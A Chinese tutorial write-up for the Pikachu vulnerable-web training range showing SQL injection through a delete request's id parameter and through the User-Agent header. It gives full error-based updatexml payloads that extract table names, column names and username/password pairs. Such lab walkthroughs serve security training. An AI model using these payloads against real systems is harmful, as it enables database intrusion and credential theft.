[Pikachu靶场实战系列] SQL注入（delete注入/http头注入）

delete注入

delete是删除的意思，我们肯定要有东西删，先随便输入一些留言。

点击删除抓包

在get数据中发现参数id，猜测id就是注入点，id参数后加单引号，报错了，说明注入点找对了

构建pyload (+的作用是代替空格)

56+or+updatexml(1,concat(0x7e,database()),0)

注意：
1.以下pyload在burp中需要使用Ctrl+U进行编码才能生效
2.和之前的一样，查询数据长度为31，所以要想将数据全部查询出来需要多次查询并拼接，我这里每次查询一次，不再拼接了。

查询表

id=56 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

查询列

id=56 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1)

查询passwd

id=56 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’^’,password)) from users),1,31),0x7e),1)

http头注入

右上角提示中有用户名和密码

输入用户名密码，登录


抓包

将User-Agent的值改为1’，发包过去报错了，说明此处存在注入点

构造查询数据库的payload：

1’ or updatexml(1,concat(0x7e,database()),0) or ’

查询其他信息的payload省略，参考之前的。

注意：不止User-Agent中可能存在注入，http头中的其他地方也有可能存在注入，下图为cookie中的注入点：